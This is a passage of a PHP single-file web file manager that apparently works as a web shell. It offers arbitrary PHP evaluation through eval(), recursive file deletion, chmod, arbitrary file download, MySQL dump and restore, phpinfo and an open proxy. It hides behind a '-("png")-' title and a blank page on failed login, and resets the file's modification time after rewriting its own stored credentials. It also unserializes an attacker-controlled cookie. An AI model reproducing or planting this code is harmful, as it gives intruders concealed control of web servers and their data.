	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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